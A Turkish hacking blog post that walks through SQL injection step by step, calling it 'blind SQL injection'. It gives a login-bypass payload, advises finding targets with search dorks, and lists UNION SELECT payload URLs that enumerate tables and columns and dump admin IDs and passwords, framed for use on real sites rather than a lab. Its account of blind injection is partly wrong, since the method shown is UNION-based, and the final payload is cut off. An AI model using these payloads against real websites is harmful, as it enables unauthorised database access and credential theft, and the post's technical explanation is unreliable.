Header Ads

Blind SQL Injection Nedir ? Nasıl Uygulanır ?

Merhaba CyberGuilty Okurları;

Bugün sizlere yazdığım bu yazının konusu yine "SQL" fakat SQL konusu öyle geniş bir konu ve çok tehlikeli bir konudur.
Daha Önce sizlere SQL ile ilgili makaleler yazdım.
Şimdi bu makaleleri okuduğunuzu düşünerek konuya tekrar bir giriş yapıyorum.
Şimdi SQL Injection kavramı aslında biraz farklı ve ikiye ayrılan bir kavram.
İlk kavramı ele alırsak ilk kavramda hedef url'ye bir adet veritabanı sorgusu gönderiyorduk ve bir hata alıyorduk.

 Yukarı gördüğünüz gibi bir web sayfasının url kısmına bir adet veritabanı sorgusu gönderdim ve veritabanı bize bir hatasını söyledi. SQL dilinde bir büyük harf ve bir küçük harfin yanlış yazılması, formların güzelce filtrelenmemesi açıkları ortaya çıkartıyor.
  • BU AÇIKLAR ORTAYA NASIL ÇIKIYOR ? 

    Bir web sayfası açtığınızı düşünelim. Burada kullanıcılar, makaleler ve yorumlarınız kayıtlı olduğunu düşünelim. Ufak çaplı bir haber sayfasısınız ve örneğin gerekli filtrelemeler yapılmadı diyelim. Kullanıcı web sayfasına giriş yapıcak ve kullanıcı adı ve şifresi girildiği zaman şifreler doğru bir değer döndürüyorsa sayfaya giriş yapılır. Eğer, false bir değer dönüyorsa giriş yapılmaz. Siz eğer o formunuzu güzel bir biçimde profesyonel bir yazılımcı olarak filtrelemezseniz adam oraya "1'or'1'='1" böyle bir sorgu gönderir. Bu sorgu bir sayısı bir sayısına eşit mi anlamına gelir ve sürekli değer true dönerek illegal pentest yapan kişi sayfanıza sızmış olur. Bu tarz veritabanı kodlarını filtrelemeniz gerekir fakat insanlar bunlarla yetinmeyip bunları hex ile sizlere injection yaparak sistemlerine her türlü giriyor.


    Yukarıda açığın nasıl oluştuğunu kısa bir şekilde belirttim.
    Şimdi makalenin asıl konusuna gelelim. Normal bir SQL Açığında hata çıktığını söylemiştik. Blind SQL Injection ise kelime anlamı olarak kör bir hatadır. Örneğin bir hedefte zaafiyet arıyoruz, sayfanın bir id değeri var ve bu id değerine bir sorgu gönderdik. Şimdi koşullar gelişiyor ve önümüzde üç adet koşul oluyor.
    1. Sayfa aynı şekilde çalışacak bir hata vermeyecek. (Güvenlik Açığı Yok)
    2. Sayfaya bir veritabanı hatası çıkacak.(Normal SQL Açığı Var)
    3. Sayfaya sorgu gönderdik ve başka sayfaya yönlendirildik (Blind Sql Injection)
Umarım güzel bir biçimde anlatmışımdır. Sayfaya sorgu gönderdiğimizde sayfada bir veritabanı hatası veya sayfa içeriğinde bir eksilme değişme yoksa sayfada blind sql açığı yoktur. Başka sayfalara yönlendiriyorsa "Blind SQL Injection" söz konusudur.

  • Blind SQL Injection Nasıl Uygulanır ? 

     Öncelikle bir id değerine sahip sayfa bulalım. Bu tarz sayfaları en tehlikeli silahımız olan dorklar sayesinde bulacağız. bknz:Dork Nedir? Nasıl Kullanır ?
    Sayfamızda bulunan id değerlerinin sonuna "+and+1=1" veya "+and+1=0" şeklinde sorgular gönderiyourz. Bu 1=1 ve 1=0 ise ne olacağını web sayfasından istiyorum. 1=1 doğru bir koşul olduğu için sayfa açılır. Fakat 1=0 yaptığımızda başka bir sayfaya yönlendiriyorsa bir SQL Hatamız vardır.
    Kod:
    www.orneksitemiz.com/article.php?id=1+and+1=1
    www.orneksitemiz.com/article.php?id=1+and+1=0

    Adım 2 - Kolon Sayısı Bulalım

    Kolon sayısını ararken yine sayfa değişimlerini kullanıcağız. And "1=1" sorgusunun ardına "Order+by" ile manuel sql ınjection yaparmış gibi ilerliyoruz ve +order+by+1,2 şeklinde tekrar bir hata alana kadar ilerliyoruz. Örneğin 4 adet kolon sayımız var .
    www.orneksitemiz.com/article.php?id=1+and+1=1+order+by+1
    Şimdi yukarıda gördüğünüz gibi eşitliği kullandık. Eşitlik ile kolon sayısını bulduk. Şimdi eşitsizliği kullanacağız. Order+by komutu ile kolonlarımızı öğrendik ve şimdi tablo isimlerimizi öğrenmek için "Union+select" sorgusunu kullanacağız.


Burada 1=1 Eşitliğinin Yerine 1=0 Eşitsizliğini Kullanacağız.1=0' dan Sonra "union+select+0,1,2,3" Yazıyoruz.2 Numaralı Kullanacağımızı Varsayıyorum.
Kod:
www.orneksitemiz.com/article.php?id=1+and+1=0+union+select+0,1,2,3
Adım 4- Tabloları Çekelim

Tabloları Çekmek İçin 2 Numaralı Kolonu Kullanacağız.Normal Sql Injectionda Olduğu Gibi Devam Edelim.
Kod:
www.orneksitemiz.com/article.php?id=1+and+1=1+union+select+0,1,group_concat(table_name),3+from+information_schema.tables
Adım 5- Tablodan Veriyi Çekelim

Buradada Normal Sql Injection' da Olduğu Gibi Devam Ediyoruz.Ben Admin Tablosunun Çıktığını Varsayıyorum.Ama Dikkat Etmemiz Gereken Bir Yer Var.Tablo Adını Hexlememiz Lazım.Admin Tablosunun Hex Karşılığı "61646d696e".Google Amcaya "Text To Hex Convertor" Yazın Çıkar.En Sona Table Name = Hex Kodumuzu Yazacağız.
Kod:
www.orneksitemiz.com/article.php?id=1+and+1=1+union+select+0,1,group_concat(column_name),3+from+information_schema.columns+where+table_name='61646d696e'
Adım 6- Kolonlardan Verileri Çekelim

Evet Admin Tablosundan ID ve Password Kolonları Çıktığını Varsayıyorum.ID ve Password Kolonlarının Değerlerini Öğrenelim.Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.
Kod:
www.orneksitemiz.com/article.php?id=1+and+1=1+union+select+0,1,concat(ID,0x3a,Password),3+from+adm

 Blind SQL Injection Nedir ? PDF İndir

http://www.twitter.com/cyberguilty 
    CyberGuilty INC. Blogger tarafından desteklenmektedir.